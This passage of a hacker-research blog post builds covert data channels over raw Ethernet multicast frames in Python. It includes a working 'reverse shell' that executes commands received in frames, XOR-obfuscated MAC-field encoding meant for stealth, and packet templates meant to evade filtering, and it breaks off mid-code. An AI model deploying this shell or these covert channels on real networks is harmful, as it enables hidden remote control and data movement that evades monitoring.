Done\n\nSo we can send art and animations over the wire, but maybe we could be a bit more mystifying? What if we transmitted the same byte at different lengths to encode data?\n\nA tiny encoder for our multicast protocol could be implemented quite simply. Just take the value of each byte of data, and multiply the number of bytes being transmitted. On the receiving end, you can just reverse that process. Since we have to account for the minimum frame size, you could just add or subtract that on either end. The minimum is 60, but using 64 bytes of base padding makes it look nice and tidy.\n\nHere's a simple way to implement this.\n\nServer:\n\n```python\nfrom socket import *\nimport sys\n\n# ZEROETH_MIN.PY - Simple null frame transport over ethernet\n# Run:\n# $ cat file | sudo python3 zeroeth_min.py\n# On the remote computer:\n# $ sudo python3 zeroeth_min.client.py\n\ninterface = \"vmnet8\" # Your network interface\nmessage = sys.stdin.buffer.read()\n\ndef getHeader():\n    # Some routers, OSes, and other things a packet may pass through have issues with small \n    # frames that don't have a designated ethernet type. This header basically ensures that\n    # at least 64 bytes is sent per frame.\n    #\n    # Minimal Ethernet Frame Layout\n    #\n    #         ┌dst──────────────┬src──────────────┬type─┐\n    #   0000: └01─00─00─00─00─00┴00─00─00─00─00─00┴00─00┘00 00\n    #   0010:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n    #   0020:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n    #   0030:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n    # \n    # As long as the lowest bit of the eth.dst field is set to 1, the packet is multicast.\n\n    data =  b\"\\x01\" # eth.dst multicast\n    data += b\"\\x00\" * 63 # The rest is just padding.\n    return data\n\ndef sendData(inData,inSock):\n    framee =  getHeader()\n    framee += b\"\\x00\" * inData # Creates a frame with null bytes that add up to the bytes value\n    inSock.send(framee)\n\ns = socket(AF_PACKET, SOCK_RAW)\ns.bind((interface, 0))\n\nfor i in message:\n    sendData(i,s)\n```\n\nClient:\n\n```python\nimport socket\nimport time\n\n# ZEROETH_MIN.CLIENT.PY - Simple null frame transport over ethernet listener for ZEROETH\n# Run:\n# $ sudo python3 zeroeth_min.client.py\n# On the remote computer:\n# $ cat file | sudo python3 zeroeth_min.py\n\ns = socket.socket( socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0003))\ntimeout = time.time() + 10 # Time limit for listener\n\nwhile time.time() < timeout:\n    try:\n        packet  = s.recvfrom(65565) # The buffer\n        packet  = packet[0]     # Our packet\n        ethtype = packet[12:14] # The ethernet type\n\n        if ethtype == b\"\\x00\\x00\": # Match the ethernet type\n            decodedpkt = len(packet) - 0x40\n            print(\"{}\".format(chr(decodedpkt)), end=\"\")\n    except Exception as e:\n        print(e)\n```\n\nTo use it, just cat a file into the server script and listen with the client.\n\n```\nServer:\n$ cat myfile.txt | sudo python3 zeroeth_min.py\nClient:\n$ sudo python3 zeroeth_min.client.py\n```\n\nThe client will decode the frames, which allows you to transfer files to everyone on the network. Neat!\n\nPOC Video of older and slower version: [https://twitter.com/netspooky/status/1487515781483188236](https://twitter.com/netspooky/status/1487515781483188236)\n\nThis minimal version probably won’t work on your home router, so you can use a similar approach as the scroller script to have a stable interface\n\nIn the server, you can change the `getHeader` function to:\n\n```python\ndef getHeader():\n    data =  b\"\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF\" # eth.dst multicast\n    data += b\"\\x5a\\x45\\x5a\\x45\\x5a\\x45\" # eth.src\n    data += b\"\\x5a\\x45\" # eth.type\n    data += b\"\\x00\" * 50 # The rest is just padding.\n    return data\n```\n\nIn the client, you can change the `ethtype` check to:\n\n```python\n    if ethtype == b\"\\x5a\\x45\": # Match the ethernet type\n```\n\nUsing an ethertype of something other than 0x0000 might also help get the packets transmitted. Worst case scenario: Reuse an ethertype of another protocol and see what happens.\n\nThis script is in the repo as zeroeth.py\n\n![image](https://user-images.githubusercontent.com/26436276/163653283-3f3895d0-3abe-45dd-9622-d7159c222d67.png)\n\n## Reverse Shell\n\nA file transfer broadcast is awesome, but what if we wanted to do two way communication? This takes a little bit more planning, but can it be done! Let's say we have multiple hosts that want to send message to each other, and want to separate their communications so they don't confuse each other. How do we ensure delivery to the right hosts?\n\nFor starters, we will want to indicate how data is supposed to be processed. The most basic way to indicate the data type is similar to how [FTP handles data types](https://knowledge.broadcom.com/external/article/28212/ftp-ascii-vs-binary-mode-what-it-means.html), with a selector for either ASCII or Binary data.\n\nBecause this whole protocol is going to have no concept of connections, or even a source, we will also need a way to differentiate data streams and determine when they end. All of this can be accomplished by using the first byte of the frame as a bit field for our protocol.\n\nWe can make the top bit the selector for the data type. If 1, it's binary data, otherwise, it's ASCII. Then the flag to indicate that the stream is over can come after. If set to 1, then the packet is the last message in the transmission and the data stream is finished.\n\nLastly, we can have a source and destination encoded here. We can use 2 bits for each, because there is an uneven number of bits left to use. In total we can have 4 hosts addressable at any time.\n\nThe encoding of the first byte of `eth.dst` now looks like this:\n\n![image](https://user-images.githubusercontent.com/26436276/163653307-c61f65b0-d38c-4489-ad66-3759d92d455c.png)\n\nAs a fun demo, we can also turn this entire thing into a reverse shell. All we need to do for that on a server level is to just grab the data buffer from the command, run it, and send the output back.\n\nThis is what the server looks like:\n\n```python\nfrom socket import *\nimport subprocess\n# ZEROETH_ROUTING_MIN.PY\ninterface = \"ens33\" # Your network interface\nnodeaddr = 1 # Range is 0 through 3\n\ndef sendData(inData,inSock,isLast,dstNode):\n    baseByte = 1 # This sets the multicast bit\n    srcNode  = nodeaddr << 2 # This is where our node address goes\n    dstNode  = dstNode << 4 # This is who we are sending to\n    baseByte = baseByte | srcNode\n    baseByte = baseByte | dstNode\n    framee = b\"\"\n    if isLast:\n      baseByte = baseByte | 0x40\n    framee += baseByte.to_bytes(1,'big')\n    framee += b\"\\x00\" * 63 # The rest is just padding.\n    framee += b\"\\x00\" * inData # Creates a frame with null bytes that add up to the bytes value\n    inSock.send(framee)\n\ndef encodeMessage(inData, inSock, dstNode):\n    endchar = 0\n    for i in inData:\n        sendData(i,inSock,0,dstNode)\n    sendData(endchar,inSock,1,dstNode)\n\ndef getAsciiChar(inData):\n    decodedpkt = len(inData) - 0x40\n    return chr(decodedpkt)\n\ndef runCmd(inCmd):\n    inCmdList = inCmd.split()\n    inCmdList.pop()\n    out = subprocess.run(inCmdList, capture_output=True)\n    #print(out.stdout)\n    return out.stdout\n\n# Receive\nr = socket(AF_PACKET, SOCK_RAW, ntohs(0x0003))\n# Transmit \nt = socket(AF_PACKET, SOCK_RAW)\nt.bind((interface, 0))\n\ndatabuf = \"\"\n\nwhile True:\n    # What we need for our message\n    packet = r.recvfrom(65565)\n    packet = packet[0]\n    byte0  = packet[0] # The very first byte \n    ethtype = packet[12:14] # We want to check if this is our type\n    if ethtype == b\"\\x00\\x00\":\n        # Check the first byte now to see if it's multicast\n        if byte0 & 1:\n            #if byte0 & 0x80:\n            #    bindata = 1 # Check the mode, this isn't implemented yet\n            dst = byte0 & 0x30 # This preserves bits 5 and 6\n            dst = dst >> 4     # Turn this into a value\n            src = byte0 & 0x0C # This preserves bits 3 and 4\n            src = src >> 2     # Turn this into a value\n            if dst == nodeaddr: # This is for us\n                #print(\"DST: {} SRC: {}\".format(dst, src))\n                decodedpkt = len(packet) - 0x40\n                databuf += chr(decodedpkt)\n                if byte0 & 0x40:\n                    cmdOut = runCmd(databuf)\n                    encodeMessage(cmdOut,t,src)\n                    databuf = \"\"\n```\n\nThe client needs to be able to both take input from the user on the command line, and encode / decode data. Here's what that looks like:\n\n```python\nfrom socket import *\nimport time\nimport sys\n# ZEROETH_ROUTING_MIN.CLIENT.PY\ninterface = \"ens33\" # Change to your interface\nnodeaddr = 0 # Range is 0 through 3\nsrvaddr = 1 # This is who we are sending data to\ntimeOut = 3 # Need this so we can ensure all the data comes back from the server\n\ndef sendData(inData,inSock,isLast,dstNode):\n    baseByte = 1 # This sets the multicast bit\n    srcNode  = nodeaddr << 2 # This is where our node address goes\n    dstNode  = dstNode << 4 # This is who we are sending to\n    baseByte = baseByte | srcNode\n    baseByte = baseByte | dstNode\n    framee = b\"\"\n    if isLast:\n      baseByte = baseByte | 0x40\n    framee += baseByte.to_bytes(1,'big')\n    framee += b\"\\x00\" * 63 # The rest is just padding.\n    framee += b\"\\x00\" * inData # Creates a frame with null bytes that add up to the bytes value\n    inSock.send(framee)\n\ndef encodeMessage(inData, inSock, dstNode):\n    endchar = 0\n    for i in inData:\n        sendData(i,inSock,0,dstNode)\n    sendData(endchar,inSock,1,dstNode)\n\ndef decodeMessage(inSock):\n  decodeTimeout = time.time() + timeOut # Time limit for listener\n  outbuf = \"\"\n  \n  while time.time() < decodeTimeout:\n      try:\n          packet  = inSock.recvfrom(65565) # The buffer\n          packet  = packet[0]     # Our packet\n          byte0   = packet[0] # The very first byte \n          ethtype = packet[12:14] # The ethernet type\n  \n          if ethtype == b\"\\x00\\x00\": # Match the ethernet type\n              # Check the first byte now to see if it's multicast\n              if byte0 & 1:\n                  #if byte0 & 0x80:\n                  #    bindata = 1 # Check the mode - Not implemented yet\n                  dst = byte0 & 0x30 # This preserves bits 5 and 6\n                  dst = dst >> 4     # Turn this into a value\n                  src = byte0 & 0x0C # This preserves bits 3 and 4\n                  src = src >> 2     # Turn this into a value\n                  if dst == nodeaddr: # This message is for us\n                    decodedpkt = len(packet) - 0x40\n                    outbuf += chr(decodedpkt)\n                  if byte0 & 0x40:\n                      print(outbuf)\n                      outbuf = \"\"\n      except Exception as e:\n        print()\n\n# Receive\nr = socket( AF_PACKET, SOCK_RAW, ntohs(0x0003))\nr.settimeout(timeOut)\n# Transmit\nt = socket(AF_PACKET, SOCK_RAW)\nt.bind((interface, 0))\n\nwhile True:\n    for line in sys.stdin:\n        if 'exit' == line.rstrip():\n            break\n        encodeMessage(line.encode('latin-1'),t,srvaddr) # Sending data\n        decodeMessage(r)\n```\n\nBoth servers need to have sockets for sending and receiving. A challenge here is waiting to read from the socket for the right amount of time. Because of how fast this is, it's important to try to synchronize the process well. My easy way around this was to just set a timeout on the receive socket for the client of 3 seconds, which allows all the data to be processed. We can improve on this strategy later on.\n\nPOC Video: [https://twitter.com/netspooky/status/1508977218046865416](https://twitter.com/netspooky/status/1508977218046865416)\n\n## ashes2ashes, dst2dst\n\nNull frames are fun, but to the more curious analyst, this might be somewhat strange. The frames could be dropped for a variety of reasons. Using custom ethertypes and sending one packet per byte is very noisy too. How can we make our comms look a bit more subtle? \n\nSince we are using multicast, we can still rely on the bottom bit being 1. There are 12 bytes of MAC address space we can use for whatever, minus that one bit. We could also use the eth.type field too, but if we want to make it usable with other legit multicast protocols, we should leave it be.\n\nIf you’re piggybacking off of an existing protocol, how do you indicate to other hosts that the protocol is being tunneled? It might make sense to add some routing features like in zeroeth, but there's another way I want to share that is useful in many other types of protocol designs.\n\nHere's a rundown of the parsing logic:\n\n- Check the ethertype\n- Use the first byte as a XOR key to decrypt the rest of the data\n- Use a checksum to validate what was sent\n- If it passes this check, process the transmitted data\n\nTo make this as easy as possible, let's just use `eth.dst` for the data, and leave the source as is. There's other complex scenarios for opcodes, stream tracking, and other bells and whistles, but for now we can just do something simple.\n\n![image](https://user-images.githubusercontent.com/26436276/163653325-086b6d41-60a0-4a0d-9e72-82e60a89c813.png)\n\nIf your goal is stealth, then it's useful to do something like a rolling XOR to encode data. Something that always bothered me was people using a single byte XOR key to encrypt every given byte. When you do this, it’s quite easy to spot repeating characters and looks sloppy. A rolling XOR means that the key is modified in some way each time, obfuscating the pattern.\n\nThis encoding scheme is straight forward.\n\n- Generate a random 8 bit number. This will be the base of your XOR key.\n- OR it with 1 to ensure that the bottom bit is set\n- Create a checksum by adding the contents of the data chunk to itself, modulo 256 to keep it from being larger than 1 byte.\n- XOR the key with the checksum and put that in the second byte of `eth.dst`\n- XOR the first byte of the data with the XOR’d checksum, and add the checksum (modulo 256 again to wrap to 1 byte)\n- Continue by xoring a byte with the previous byte and adding the checksum to it.\n\nThis creates a different `eth.dst` every time, without much computational overhead. It also creates an easy way to check for data without accidentally processing legit packets. Because of how limited our space is, there's nothing to indicate what the padding is here. This sort of protocol might be most useful for text based data. You could also try to leverage some other aspects of the data within or beyond the message body of the protocol you are piggybacking off of to communicate things like padding, opcodes, data type etc. That's up to you!\n\nTo demonstrate, we can reuse the ARP message structure for a legit type of packet to implement this on top of.\n\nThis is the full script:\n\n```python\nimport threading\nfrom socket import *\nimport sys\nimport argparse\nimport random\nimport binascii\n\ninterface = \"eth0\" # Change to your interface\n\nparser = argparse.ArgumentParser(description='dst2dst')\nparser.add_argument('-m', dest='inMac', help='This is the source mac you will use')\n\n# Transmit\nt = socket(AF_PACKET, SOCK_RAW)\nt.bind((interface, 0))\n# Receive\nr = socket( AF_PACKET, SOCK_RAW, ntohs(0x0003))\nmsgBufz = {} # These are buffers for tracking messages\n\ndef getChecksum(inData):\n    b = inData[0]+inData[1]+inData[2]+inData[3]\n    c = b % 256\n    return c\n\ndef encodeMessage(inData):\n    # What we are generating\n    # ┌─eth.dst───────┐\n    # 01 02 03 04 05 06\n    # │  │  └─────────┴ XOR'd Data\n    # │  └───────────── Checksum - Sum of the data bytes, which is XOR'd with the Key\n    # └──────────────── XOR Key\n    msgSeed = random.randrange(0,256)\n    msgSeed = msgSeed | 1 # Ensure the bottom bit is always set\n    msgBuf  = b\"\"\n    csum = getChecksum(inData)\n    msgBuf += bytes([msgSeed])        # eth.dst[0]\n    msgBuf += bytes([msgSeed ^ csum]) # eth.dst[1]\n    msgBuf += bytes([( ( msgBuf[1] + csum ) % 256 ) ^ inData[0]]) # eth.dst[2]\n    msgBuf += bytes([( ( msgBuf[2] + csum ) % 256 ) ^ inData[1]]) # eth.dst[3]\n    msgBuf += bytes([( ( msgBuf[3] + csum ) % 256 ) ^ inData[2]]) # eth.dst[4]\n    msgBuf += bytes([( ( msgBuf[4] + csum ) % 256 ) ^ inData[3]]) # eth.dst[5]\n    return msgBuf\n\ndef decodeMessage(inData,esrc):\n    # What we are decoding\n    # ┌─eth.dst───────┐\n    # 01 02 03 04 05 06\n    # │  │  └─────────┴ XOR'd Data\n    # │  └───────────── Checksum - Sum of the data bytes, which is XOR'd with the Key\n    # └──────────────── XOR Key\n    csum = inData[0] ^ inData[1]\n    msgBuf = b\"\"\n    msgBuf += bytes([( ( inData[1] + csum ) % 256 ) ^ inData[2]])\n    msgBuf += bytes([( ( inData[2] + csum ) % 256 ) ^ inData[3]])\n    msgBuf += bytes([( ( inData[3] + csum ) % 256 ) ^ inData[4]])\n    msgBuf += bytes([( ( inData[4] + csum ) % 256 ) ^ inData[5]])\n    calcSum = getChecksum(msgBuf)\n    # If the checksums match, we should print!\n    if csum == calcSum:\n        if esrc not in msgBufz.keys():\n            msgBufz[esrc] = msgBuf\n        else:\n            msgBufz[esrc] += msgBuf\n        if b\"\\x00\" in msgBuf:\n            print(\"{} -- {}\".format(esrc, msgBufz[esrc].decode()))\n            msgBufz[esrc] = b\"\"\n\ndef rcv_message(inSock):\n    while True:\n        # What we need for our message\n        packet = r.recvfrom(65565)\n        packet = packet[0]\n        ethdst  = packet[0:6]\n        ethsrc  = packet[6:12].hex(':')\n        ethtype = packet[12:14] # We want to check if this is our type\n        if ethsrc == inMac:\n            continue\n        if ethtype == b\"\\x08\\x06\":\n            decodeMessage(ethdst,ethsrc) # Attempt to decode\n\ndef genMessage(inData,inSock,srcMac):\n    # //- Ethernet Header\n    pkt =  b\"\"\n    pkt += encodeMessage(inData)\n    pkt += srcMac\n    pkt += b\"\\x08\\x06\"                 # eth.type (ARP)\n    # //- ARP Message\n    pkt += b\"\\x00\\x01\"                 # arp.hw.type        -- Hardware Type: Ethernet\n    pkt += b\"\\x08\\x00\"                 # arp.proto.type     -- Protocol Type: IPv4\n    pkt += b\"\\x06\"                     # arp.hw.size        -- Hardware Size: 6\n    pkt += b\"\\x04\"                     # arp.proto.size     -- Protocol Size: 4\n    pkt += b\"\\x00\\x01\"                 # arp.opcode         -- Opcode: Request\n    pkt += b\"\\x00\\x11\\x22\\x33\\x44\\x55\" # arp.src.hw_mac     -- Source MAC Address\n    pkt += b\"\\x0a\\x00\\x01\\x0a\"         # arp.src.proto_ipv4 -- Source IP: 10.0.1.10\n    pkt += b\"\\x00\\x00\\x00\\x00\\x00\\x00\" # arp.dst.hw_mac     -- Target MAC Address\n    pkt += b\"\\x0a\\x00\\x01\\x0b\"         # arp.dst.proto_ipv4 -- Target IP: 10.0.1.11\n    \n    inSock.send(pkt)\n\ndef send_message(inSock,srcMacS):\n    srcMac = binascii.unhexlify(srcMacS.replace(':',''))\n    for line in sys.stdin:\n        msg = line.rstrip()\n        msg = msg.encode('latin-1')\n        padding = (len(msg) % 4) # Using this to calculate how many padding bytes are needed\n        if padding != 0:\n            msg += b\"\\x00\"*(4-padding) # Adds padding bytes if needed\n        else:\n            msg += b\"\\x00\\x00\\x00\\x00\" # This adds one null message at the end to signify the message is done\n        mlen = len(msg)\n        i = 0\n        while i < mlen:\n            chunk = msg[i:i+4]\n            genMessage(chunk,t,srcMac)\n            i = i+4\n        print(\"{} -- {}\".format(srcMacS, msg.decode()))\n\nif __name__ == \"__main__\":\n    args   = parser.parse_args()\n    inMac  = args.inMac\n\n    x = threading.Thread(target=rcv_message, args=(r,))\n    x.start()\n    y = threading.Thread(target=send_message, args=(t,inMac))\n    y.start()\n```\n\nA thread is started for both receiving and sending data. You provide a MAC address on the command line which is used to identify your client.\n\nPOC Video: [https://twitter.com/netspooky/status/1510010775817097226](https://twitter.com/netspooky/status/1510010775817097226)\n\nAlso check out this version using a perl one liner by Samy Kamkar: [https://twitter.com/samykamkar/status/1510326257237430275](https://twitter.com/samykamkar/status/1510326257237430275)\n\n## Reality Choke\n\nSo far, the assumption has been that the router will forward these packets to everyone. The reality is that routers (and other protocol stacks) won’t tolerate these spec violations.\n\nWhat is typical router behavior then? The answer becomes more mysterious the deeper you look.\n\nWhile testing dst2dst on my router, I noticed that none of the packets actually made it from one computer to another. I went back to the drawing board to double check every script and find out what was going on.\n\nI opened up some RFCs for different multicast addresses and tried to see if there was something I was missing. There are well defined ethernet addresses for multicast which some protocols leverage, but ultimately it’s up to the router to decide what to do with things that violate expected behavior.\n\nI tested with ARP, IGMP, and other packet types, and bruteforced the space for IPv4 and IPv6 multicast addresses to see what went through. The results were all over the place. For IPv4 and IPv6 multicast addresses, the first couple of bytes need to be the same, but the remaining bytes are *supposed to be* tied to the packet contents. This is used for things like IGMP, SSDP, and ICMPv6. I found that these addresses can really be used for whatever your router / OS will tolerate.\n\nYou can send an IPv4 packet with an IPv6 multicast eth.dst, and vice versa. You can also send other ethernet protocols over either. Some of the things I experimented with led me to be believe that you could then just use the bottom bytes of these addresses for data. \n\nIn one case, I sent a packet with IPv6 multicast and some random bytes at the end, and my router transformed the packet into an LLC frame. This is not even Ethernet II, it’s literally a whole other protocol ([More info here](https://www.ibm.com/support/pages/ethernet-version-2-versus-ieee-8023-ethernet)). A curious aspect of it too is that when I transmitted ASCII art over it, I immediately saw something strange.\n\nThe original packet looked similar to this:\n\n![image](https://user-images.githubusercontent.com/26436276/163653339-5481023c-7a6f-4e0d-994e-672d50b3376f.png)\n\nHowever, I had changed the Ethernet destination, source, and type to the following values to try to get it forwarded over the router:\n\n- `eth.src == 33:33:4e:45:54:01`\n- `eth.dst == 04:04:04:04:04:04`\n- `eth.type == 0x0404`\n\nThis caused the router to parse this as an LLC frame. The LLC frame was then parsed as SNA by Wireshark, which is an IBM mainframe protocol. This resulted in Wireshark processing the data as EBCDIC instead of ASCII...The frame was modified by the router, which was confirmed by the Length field for 802.3 ethernet being correct (0x1F2), when previously it was set to 0x0404.\n\n![image](https://user-images.githubusercontent.com/26436276/163653347-1f2cd76e-16ca-4ad7-b831-6b16ff1fec5a.png)\n\nI turned this into an even smaller POC to check if the encoding would change and get processed as an LLC frame, and it did. [https://twitter.com/netspooky/status/1514808243997995013](https://twitter.com/netspooky/status/1514808243997995013)\n\nTesting it on the `vmnet` interface showed that Wireshark parsed a smaller test packet as LLC/SNA still, but the router didn’t change the length field when sent broadcast. This is the packet from a different VM receiving the packet.\n\n![image](https://user-images.githubusercontent.com/26436276/163653358-43ff7b67-fadb-4783-9191-60d8d7037d60.png)\n\nIt's unclear why this even works, because the eth.src is an invalid IPv6 multicast address anyways and the packet _should_ have been dropped. In the Linux kernel, if the ethertype is less than 0x600, it will be [classified as 802.3](https://elixir.bootlin.com/linux/v5.17/source/include/uapi/linux/if_ether.h#L120) instead of Ethernet II. This logic may have been what the router followed too, correcting the length field to the actual size of the frame.\n\nMore testing showed me that certain byte combos can’t be used. I decided to test each byte of both IPv6 and IPv4 to see if there was even one byte of the address that I could use reliably for data. The results were even stranger than I expected...a pattern appeared. There were 5 bytes that each field could be if the other bytes were 0. I immediately thought about creating an encoding scheme based on these patterns to encode data into a multicast address.\n\nHere’s an example of what I thought of for the bottom 4 bytes of IPv6 (the top being the constant `33:33`):\n\n![image](https://user-images.githubusercontent.com/26436276/163653369-84675f23-327d-4dfa-9221-95a64c17c5f6.png)\n\nTesting this, certain combinations of bytes also didn’t sent...why???\n\nFrustrated, I created a script to run through a series of tests to double check what was receivable by another host when a packet was sent as multicast. This opened up the floodgates of even more confusion.\n\nA friend ran my scripts on their network, and had entirely different results than me. Some of the combinations didn’t go through at all, and other patterns appeared. Additionally, they enabled a feature for IGMP snooping, and the latency of packet processing revealed a difference in the order of packets received from the router. Now we have a possible way to profile a router by sending some multicast packets.\n\nThe last major thing was that operating systems themselves might also reject certain packets. When testing with Windows, the IPv4 and IPv6 packets that my router did forward were dropped. This led me to abandon the idea all together.\n\nI wanted a more universal solution, but was running out of options.\n\n## Source Direct\n\nIt was back to the drawing board for figuring out where data can be stored and not dropped by the router. The most obvious solution was to use `eth.src` instead.\n\nThe problem now is that we can’t use this field to differentiate streams anymore. The encoding schema will now have to be modified to allow for an address field, similar to the zeroeth reverse shell from before. By keeping the xor key, checksum, and adding this byte, we will now only have 3 bytes to work with. This is plenty of space, but since mysterious router behavior is also a factor, we will need something to help signal when messages begin and end. This will help avoid corrupted or incomplete communications.\n\nTo implement this, there could be another bit field, but that would reduce our space even more. The solution I came up with was to create a buffer using control characters to signal things about the data. The ASCII STX character (0x02) indicates the beginning of the message, while the ASCII ETX character (0x03) indicates the end. The data is encoded in base64, which ensures that the relevant message payload will be within a certain range of bytes. This means that error checking can be done on the decoded data and help reduce garbled messages. Lastly, the padding is randomized every time, which means patterns are less likely to be noticed with frequency analysis.\n\nOur `eth.dst` field will now look like this:\n\n![image](https://user-images.githubusercontent.com/26436276/163653387-59fb8852-04a0-4184-9a40-2a187e9810c6.png)\n\nThe data would be transformed like so:\n\n- Plain Text: netspooky\n- Base64 Encoded: bmV0c3Bvb2t5\n- Afterwards, this would be XOR'd like in the previous scheme\n\nWhen encoded, it will look like this (without XOR encoding)\n\n![image](https://user-images.githubusercontent.com/26436276/163653401-6cbb6487-a6d9-4ff4-815b-21c2197203d0.png)\n\nThe RR routing info field looks like this:\n\n![image](https://user-images.githubusercontent.com/26436276/163653416-3bacc3dc-469e-4fee-bc73-9985f9c53f22.png)\n\nEach source and destination is 4 bits of RR, with a node number from 1 through 15 and a special multicast node at 0. This would enable both point to point messaging, as well as multicast / global communication.\n\nThe packets themselves now don’t matter, so long as they are multicast. This means we can then cycle through a list of packet templates to diversify traffic and potentially evade filtering.\n\nThis is the code for the srcdirect.py demo:\n\n```python\nimport base64\nimport sys\nimport random\nfrom socket import *\nimport argparse\nimport threading\n\nparser = argparse.ArgumentParser(description='srcdirect')\nparser.add_argument('-i', dest='interface', help='Your interface')\nparser.add_argument('-s', dest='srcnode', type=int, help='Your node number, range (1-15)')\n\nargs   = parser.parse_args()\ninterface = args.interface\nsrcnode = args.srcnode\nif srcnode < 1 or srcnode > 15:\n    print(\"Invalid source node, range is 1 to 15\")\n    sys.exit()\n\nmsgBufz = {} # These are buffers for holding messages from each host\n\ndef getChecksum(inData):\n    c = 0 # Our checksum is just 1 byte\n    for d in inData:\n        c = (c + d) % 256\n    return c\n\ndef getTemplate():\n    # - The idea here is to have a set of packet templates to diversify traffic patterns\n    # - The decoding logic only checks the IG bit of eth.dst, so any multicast packet\n    #   is fair game for holding this data.\n    # - You can dynamically generate templates too, this just a POC\n    arp =  b\"\" # ARP Request\n    arp += b\"\\x08\\x06\"                 # eth.type (ARP)\n    arp += b\"\\x00\\x01\"                 # arp.hw.type        -- Hardware Type: Ethernet\n    arp += b\"\\x08\\x00\"                 # arp.proto.type     -- Protocol Type: IPv4\n    arp += b\"\\x06\"                     # arp.hw.size        -- Hardware Size: 6\n    arp += b\"\\x04\"                     # arp.proto.size     -- Protocol Size: 4\n    arp += b\"\\x00\\x01\"                 # arp.opcode         -- Opcode: Request\n    arp += b\"\\x00\\x11\\x22\\x33\\x44\\x55\" # arp.src.hw_mac     -- Source MAC Address\n    arp += b\"\\x0a\\x00\\x01\\x0a\"         # arp.src.proto_ipv4 -- Source IP: 10.0.1.10\n    arp += b\"\\x00\\x00\\x00\\x00\\x00\\x00\" # arp.dst.hw_mac     -- Target MAC Address\n    arp += b\"\\x0a\\x00\\x01\\x0b\"         # arp.dst.proto_ipv4 -- Target IP: 10.0.1.11\n\n    igmp =  b\"\" # IGMP Membership Query (General)\n    igmp += b\"\\x08\\x00\"         # eth.type = ipv4\n    igmp += b\"\\x45\\xc0\"         # ip dsfield, len\n    igmp += b\"\\x00\\x1c\"         # ip.len \n    igmp += b\"\\xac\\xab\"         # ip.id\n    igmp += b\"\\x00\\x00\\x01\"     # ip.flags, ip.frag_offset, ip.ttl\n    igmp += b\"\\x02\"             # ip.proto      -- IGMP\n    igmp += b\"\\x4e\\x53\"         # ip.checksum\n    igmp += b\"\\x0a\\x0a\\x01\\x01\" # ip.src        -- 10.10.1.1\n    igmp += b\"\\xe0\\x00\\x00\\x01\" # ip.dst        -- 224.0.0.1\n    igmp += b\"\\x11\"             # igmp.type     -- Membership query\n    igmp += b\"\\x64\"             # igmp.max_resp\n    igmp += b\"\\xee\\x9b\"         # igmp.checksum\n    igmp += b\"\\x00\\x00\\x00\\x00\" # igmp.maddr \n\n    ssdp = b\"\" # SSDP M-SEARCH template\n    ssdp += b\"\\x08\\x00\"         # eth.type = ipv4\n    ssdp += b\"\\x45\\x00\"         # ip dsfield, len\n    ssdp += b\"\\x00\\xc7\"         # ip.len\n    ssdp += b\"\\xac\\xab\"         # ip.id\n    ssdp += b\"\\x40\\x00\\x01\"     # ip.flags, ip.frag_offset, ip.ttl\n    ssdp += b\"\\x11\"             # ip.proto      -- UDP\n    ssdp += b\"\\x4e\\x53\"         # ip.checksum\n    ssdp += b\"\\x0a\\x0a\\x01\\x01\" # ip.src        -- 10.10.1.1\n    ssdp += b\"\\xef\\xff\\xff\\xfa\" # ip.dst        -- 239.255.255.250\n    ssdp += b\"\\xc7\\x64\"         # udp.srcport\n    ssdp += b\"\\x07\\x6c\"         # udp.dstport\n    ssdp += b\"\\x00\\xb3\"         # udp.length (179)\n    ssdp += b\"\\x3a\\x29\"         # udp.checksum\n    ssdp += b\"M-SEARCH * HTTP/1.1\\x0d\\x0a\"\n    ssdp += b\"HOST: 239.255.255.250:1900\\x0d\\x0a\"\n    ssdp += b\"MAN: \\\"ssdp:discover\\\"\\x0d\\x0a\"\n    ssdp += b\"MX: 1\\x0d\\x0a\"\n    ssdp += b\"ST: urn:dial-multiscreen-org:service:dial:1\\x0d\\x0a\"\n    ssdp += b\"USER-AGENT: iNNAnet xXxPlora 420.69 Z00buntu\"\n    ssdp += b\"\\x0d\\x0a\\x0d\\x0a\"\n\n    pkttemplates = [arp,igmp,ssdp]\n    return random.choice(pkttemplates)\n\ndef encodeMsg(inData,srcnode,dstnode):\n    # This is the message structure, stuffed into the eth.src field\n    #  ┌───────────────────── XOR Key\n    #  │   ┌───────────────── Checksum\n    #  │   │   ┌───────────── Routing info\n    #  │   │   │   ┌───────── The 02 is the ASCII STX character\n    # ┌┴─┐┌┴─┐┌┴─┐┌│─Text──┐ # Hex dump of plain text\n    # │XR││CS││RR││02 62 6d│ # .bm  ┐\n    # │XR││CS││RR││56 30 63│ # V0c  │\n    # │XR││CS││RR││33 42 76│ # 3Bv  ├─ Base64 of \"netspooky\"\n    # │XR││CS││RR││62 32 74│ # b2t  │\n    # │XR││CS││RR││35 03 xx│ # 5..  ┘\n    # └──┘└──┘└──┘└───│──│─┘\n    #                 │  └─── Padding\n    #                 └────── The 03 is the ASCII ETX character\n    srcenc = srcnode & 0x0F\n    dstenc = dstnode << 4 # shift the value to occupy the top 4 bits\n    rr = dstenc | srcenc\n    msgSeed = random.randrange(0,256)\n    msgSeed = msgSeed & 0xFE # Ensure the bottom bit is never set\n    msgBuf  = b\"\"\n    csum = getChecksum(inData)\n    msgBuf += bytes([msgSeed])        # eth.src[0]\n    msgBuf += bytes([msgSeed ^ csum]) # eth.src[1]\n    msgBuf += bytes([( ( msgBuf[1] + csum ) % 256 ) ^ rr]) # eth.src[2]\n    msgBuf += bytes([( ( msgBuf[2] + csum ) % 256 ) ^ inData[0]]) # eth.src[3]\n    msgBuf += bytes([( ( msgBuf[3] + csum ) % 256 ) ^ inData[1]]) # eth.src[4]\n    msgBuf += bytes([( ( msgBuf[4] + csum ) % 256 ) ^ inData[2]]) # eth.src[5]\n    return msgBuf\n\ndef decodeMessage(inData):\n    csum = inData[0] ^ inData[1] # eth.src[0] ^ eth.src[1]\n    rr = ( ( inData[1] + csum ) % 256 ) ^ inData[2] # eth.src[2]\n    srcdec = rr & 0x0F\n    dstdec = rr >> 4\n    # If the source node is the sending node, then messages are ignored.\n    if srcdec != srcnode:\n        msgBuf = b\"\"\n        msgBuf += bytes([( ( inData[2] + csum ) % 256 ) ^ inData[3]]) # eth.src[3]\n        msgBuf += bytes([( ( inData[3] + csum ) % 256 ) ^ inData[4]]) # 